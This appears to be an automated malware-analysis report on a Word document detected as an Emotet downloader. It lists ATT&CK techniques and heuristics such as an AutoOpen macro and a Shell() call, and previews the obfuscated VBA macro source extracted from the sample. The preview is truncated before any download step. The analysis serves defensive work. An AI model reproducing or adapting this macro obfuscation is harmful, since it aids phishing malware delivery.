MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6344335-3', indicating it is likely part of the Emotet family. Critical heuristics indicate the presence of VBA macros that utilize the Shell() function, a common technique for downloading and executing secondary payloads. The AutoOpen macro further suggests an automated execution flow upon opening the document.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-6344335-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6344335-3
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7493 bytes |
SHA-256: f6ba657076b299b7c12dd1e699e8e9c59fb59239449ad4faf1cf33d8f3de3259 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
'kNHNEeyzxDuVgrfnHKAdhnEmRnZZUUTaUASGPESNXvdwrMzRNuHebmAgRXXUx
'EHWtSxLbFYgeVgVbGVvKMfvyLVzyXUpwGYcXuUWzuXMFAaUZHwKHhyBxwTwUVLU
'xAcNVrygUetgeEBThLysuwvuCZvcWYEuAVXmkXyAfcMrHZerdcFCNZfz
'PpsHurtPPgKxRfgDwnarHFScCEvXSucbFWARTmPBfNcCThsBLHGPFyprRmrSmdyxXE
'wDHZKPchNMXsVRMDyhrazbRSTHhLWchVfuefSdtVseGNHAuPUDXmYxHA
'CWWXcNXmMCDppRarTRmUErrsyCBTubFZdBazGRGczXMkkLLchEcVNyhEuCypg
'TvZcpsHcrCtDfcDVfntDHpkYNsduSpedwLeVbWpZrHMaxLmrmzAtvkeVKDnmy
'tFTtBduhndvHUUGPuSaFuxgrYMeXULCfCvcWrZbnXxcPrevHVpWHrZRBrEnytBKw
'zMwnKxnzFyVhvahWDHbyyctNACWHBENngUdVvVeGsSBZmbskvAnpDfewpezYnddc
'xDNAxcftwGPDfFFbFeZykrXbauTeaRzaHbyUFutReytXVPEaFYuEsCWWdn
'ArHkmBgMsxYzmzkKGCWucBFGaBSWsdyHmXmKUXGDFavfywYKpgYLsstmZGHZLEHfxS
'UeHcNuEFpdArwMZPDcWWLgkygWYdSFBSgxNrYgyvZCCxbfCCHUMLEEvcyzGr
'mfVkWkNEGEcyFeYYBKdKRUEktvGPBVaWtDHwvZTFpTpCYxbYCXTePzeTETv
'wLDgFkktBfrDULTcUZwTCzZLEEwSFHCvGTWfmFtVPLrfvFbxNSSsbcuZrxmwzsAKMLD
'yNvBSKRKNkGZwvuuBCmgdxATAtUYnNgSSZSACeyYpwBmmprRZnTLehRUhKNzvKkP
'mSkNAAyebdveCccddefnydWrnGtkUGmBgYTkATaeFbVxKsDMDvVXUHfDmuXddAbp
'YchFASVRMPKpHBRrfSmcKnVNnvKVgYndpkRtBVpsrkCZsrWAxKNEWcZdnfncmudEk
'xUrwDSSaXhrDgFgsdYtTbRpGkMZHHkFBmbgwEsumxfyXzAsSYkWTBXMaEDkXnDbY
'xzcPpNawWBgKVSeREHvMSCCMbwvLtnTNAAZnvmREBtpkYpmPkCeLWzGdSUXd
'BMcUkMPNmrTdRpKxWCsSvXrVSgGKEkdaxvyHSMBSfCwTCGxvmKZxhKMFbFsgkUF
'arRzcEvnYkdaCnsXeMKNVBHpFYxXLmtweXRMGuCahhYHRkYfAMaXEaSscXc
'usmtEDrutTCDYkxePULEygaMSxTPmfPnvTGsdTMVMmNgrryznwfUXGMRutDmyPehw
'NUvtPpZbLrDVXCxBmCchzeHcnhRxErAFdfhYBAxYmLTbKBDNEUvxVntdu
'HLccUxHaEDkasGgCySHZRAgPZXEsUktBBvWmxdcKPcrWkPVVVswKHzr
'FzSHeuHsSXHwydDyXBZfHTPaThZpUVsfEkKuUKZTkeycGPLHMxZrYEvXCStvztcBpr
'NCXfpvdrxAVEBwdccRfUmKNGkUpePkbdpbxVFsZnXKkupwbxcguchenPBH
'bVTcnvRvgPHDKYhKWycvUaAhuZRfnBvCWxESkKpPAuNHgMAESVRFnruAdLzAna
'MSuMmvPGYPtXAZybyypxehGZSweZfnFYvBywAddcwpUkGPUuWvAtxthAcCaUwnX
'TTXLwTCFLtuSLKhmRrbUHUbgdwrUraMDdWAnyGrKXLMXWnZVSFuXFTMVmRAt
'AKhLDcYVYvsyUpSMVXxnGcbasMBCHZvbspRDgfduuZeZpdYTHYWCUgyKSwnfBRfakNX
Sub WJsV93059()
On Error Resume Next
End Sub
Sub mhHA5531()
On Error Resume Next
If ydvb > IzRL531 Then
EfOV2g = 487784771 - Cos(FoW) + Bszc16x - Log(jHT + CLng(3 / CInt(xWRx3 * CDate(VSDTeA4V) / 71 * 17) + wXXq1O68 * JGF) / CFCfe04 + ChrW(rBRX0QTU2 + CStr(LaXi0vb) + 418145290 / Hex(336657550))) - sEdiytpq + qqyk9K8
ElseIf RnjLzIZlD <= qXrn2 Then
ZiQRW6692 = PBeGVW / 207199780
Uxgq = FsUaP3105 + 246657521
End If
For ujEm = 6 To 33
If WwJGe7L53 <> HRw Then
Zmhm3 = RywiH
End If
boiy05aF = 392 + 244954393 + eyJ / Atn(HLvT) + 381545904 + Hex(343) * LAoU9rQ6 - CStr(tTjt)
Next
lSDQb89X = bnxt0 / 39599055
End Sub
Sub zwty4pc()
On Error Resume Next
SIrX487n = Sqr(8394)
JpXWX1aX8 = 512 / Cos(MoPJF65) + SMEE8da0 - Cos(MDW + 330 / 116 + CDate(amCl5)) + 118 - 232 * fXJHu * Chr(7849 + ChrW(aGytGVe + Tan(GykwS8G))) / 842 - CLng(904) / 129274571 / Atn(192 / pKu) / 37816378 + Log(jVj + Int(780)) * BGWr / 4
End Sub
Sub MmeXrK(fIdW4)
On Error Resume Next
CpQRG11m = 237228831
KpuFF9 = 335309208 + 429128372
End Sub
Sub ckTCc(dNo)
On Error Resume Next
pZKgB8Daa = ntETD * 77305003
End Sub
Sub pzea(AOyoH05)
On Error Resume Next
End Sub
Function EdsceWZsbx()
'LdPFexCascMnLCCfYXBNPbfaYUePSfKabBuUwfCaWTLCdkeYCZCEzvGsNDWaKSYA
'xwnbntSThNgUeymDUcfPeGerEvcpxNrWhezZbAeBMnKZxbLZcnLWPvKnucLnBm
'BYuyWUNhcebhVNpAKYCdnDaAgLTufSYMKHBaMpdFVbbGxMGrFWhaLtLCXXYNpLeuHGT
'kUySYSPsKZnYLbuULsmMgLrBuhrsbHCSSGhvYgRMcteVxuEMEynSnEKVEFYWkrgGsm
'HBGnHyGAXvNgpEgmhpygUZGdemvyktKBnXsmCDZZsnSCauvbGLNYdNzBcCyRHAyg
'NVyLszNYgakaKCSWwTPWWXVzavayYbSTuNWWNYeZDttUpDbLfrzncXE
'feeUdXgZLNaLGKAVMFSGZsGmCVVMXSRkYYApTBsKNmbasfUeaxcXVMruAgFsRavy
'VUfAcfEgvtWKHTuLkSMuSbYYTFycWLNaRVZye
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.